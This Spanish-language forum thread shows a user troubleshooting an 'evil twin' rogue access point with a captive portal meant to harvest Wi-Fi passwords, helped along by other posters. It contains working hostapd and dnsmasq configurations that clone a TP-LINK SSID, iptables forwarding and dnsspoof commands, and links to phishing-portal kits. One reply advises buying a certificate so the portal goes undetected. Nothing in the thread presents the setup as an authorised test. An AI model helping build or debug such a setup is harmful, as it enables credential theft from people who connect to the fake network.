Hola a todos.
Estoy tratando de llevar a cabo un ataque evil twin en una máquina Ubuntu 20.04. Está limpia. Además de las actualizaciones, sólo tiene instalado apache2, MariaDB y git (decidí volver a empezar con lo justo para tratar de resolver el problema).
Los portales cautivos que he probado los he sacado de:
https://github.com/athanstan/EvilTwin_AP_CaptivePortal (https://github.com/athanstan/EvilTwin_AP_CaptivePortal)
https://zsecurity.org/wp-content/uploads/2020/08/fap.zip (https://zsecurity.org/wp-content/uploads/2020/08/fap.zip)
Inicio el servidor web y MariaDB:
service apache2 start
serviec mysql start
Configuro la base de datos (he probado con mis propios datos y los de ambos enlaces, pero he decidido poner los del segundo enlace):
(https://i.imgur.com/m0TLnAt.png)
He probado a insertar manualmente la contraseña y, como veis, funciona.
Pruebo el sitio web dirigiéndome al servidor local:
(https://i.imgur.com/0EQLOXn.png)
Y cuando doy a enter, me aparece este error:
(https://i.imgur.com/DYRS6hy.png)
Estos son los archivos de configuración del portal:
(https://i.imgur.com/PheC5yP.png)
Y mirando connect.php, las últimas líneas resultan muy familiares:
(https://i.imgur.com/sXfTlp1.png)
No tengo puñetera idea de programación, pero veo que los usuarios, la base de datos y la contraseña coinciden. He probado a buscar en Internet pero no he visto a nadie que le haya sucedido lo mismo.
¿Me estoy saltando algo? ¿Me falta alguna librería? ¿Algún archivo en /etc que deba configurar?
Ya no sé que hacer, estoy desesperado.
Jelp.[/size]
Hola DaWrench.
Parece que apache no esta reconociendo los archivos php. Talvez podrias revisar que version de php tienes instalado y si apache esta configurado para manejar archivos php.
Si no lo tienes lo puedes instalar con
sudo apt install php
.
Despues solo toca configurar el archivo de apache httpd.conf para que maneje archivos .php
https://www.tutorialspoint.com/php/php_apache_configuration.htm (https://www.tutorialspoint.com/php/php_apache_configuration.htm)
https://fedingo.com/how-to-enable-php-in-apache/ (https://fedingo.com/how-to-enable-php-in-apache/)
Hola d3adly. Gracias por la rapidez en responder.
He descargado los paquetes de php que indican los mensajes y, al menos, cuando introduzco los datos en el portal, ya pasa la siguiente pantalla como debería. La cosa ahora es que la db de mysql no recoge esos datos.
Y he estado siguiendo esto: https://www.digitalocean.com/community/tutorials/how-to-install-linux-apache-mysql-php-lamp-stack-on-ubuntu-20-04-es (https://www.digitalocean.com/community/tutorials/how-to-install-linux-apache-mysql-php-lamp-stack-on-ubuntu-20-04-es)
Cuando escribo localhost/connect.php, no me muestra los datos de la base de datos sino que automáticamente cambia a la pantalla de carga:
(https://i.imgur.com/9VuajwB.png)
Observación:
Cuando crea un Portal Cautivo, a día de hoy y con los navegadores actualizados (como corresponde), debe tener un certificado emisor válido para el portal cautivo y así sea cargado por el navegador; de lo contrario lo bloquea por seguridad.
No importa que sea en un servidor local como es el caso que muestra. No tiene certificado.
Pero la cosa es que el portal si carga, el problema es que las contraseñas que introduzco en él, no son registradas en la base de datos.
Aún así, cómo consigo un certificado?
La buena noticia es que he la base de datos ya guarda las contraseñas.
La mala es que cuando me conecto al AP falso desde otra máquina (PC o Android) no soy redirigido al portal. Ni siquiera cuando accedo a algún sitio HTTP.
Estas son las instrucciones de hostapd.conf y dnsmasq.con:
DNSMASQ:
interface=wlx5ca6e6a302a8
dhcp-range=192.168.2.2, 192.168.2.30, 255.255.255.0, 12h
dhcp-option=3, 192.168.2.1
dhcp-option=6, 192.168.2.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
[/size]
HOSTAPD:
interface=wlx5ca6e6a302a8
driver=nl80211
ssid=TP-LINK_E146
hw_mode=g
channel=8
macaddr_acl=0
ignore_broadcast_ssid=0
Configuro el enrutamiento:
ifconfig wlx5ca6e6a302a8 up 192.168.2.1 netmask 255.255.255.0
route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.2.1
Luego iptables:
iptables --table nat --append POSTROUTING --out-interface enp0s3 -j MASQUERADE
iptables --append FORWARD --in-interface wlx5ca6e6a302a8 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
Inicio los servidores:
service apache2 start
service mysql start
Comienzo el ataque:
hostapd hostapd.conf
dnsmasq dnsmasq.conf
A veces también uso:
dnsspoof -i wlx5ca6e6a302a8
Pero obtengo el mismo resultado.
Fíjese en Fluxion que es el evil twin más actualizado, como ofrece un certificado. También los servicios que levanta.
Recomiendo comprar uno (certificado) si desea crear un proyecto serio y que le funcione sin ser detectado o que levante sospechas.
(https://i.postimg.cc/Bb7nJ1W0/Portal-AXCESS-imag-1.png) (https://postimg.cc/4Htg5yNL)
(https://i.postimg.cc/ZRtpy47s/Portal-Cautivo.png) (https://postimg.cc/Y4Rh5KwQ)
MÍrele el candadito... y como Firefox me lo detecta con la barra de redirección (servidor web) y logueo.
Este es un portal privado pero que tiene salida a internet; o sea desde internet se puede acceder a él para unirse a una intranet de juegos.
Las imágenes ya las tenía subidas y son de otras ocasiones.
No obstante,existen certificados gratuitos de corta validez (buscar en internet), que no son apropiados para lo que desea realizar, precisamente por que se usan para intereses espurios.
Ha probado levantar el portal con pfsense?
Echaré un vistazo a Fluxion, como dices.
No he probado con el pfsense, eso se va de mi comprensión. Lo único que sé de firewalls son unos cuentos comandos de iptables. Necesitaría algo que me llevase de la mano.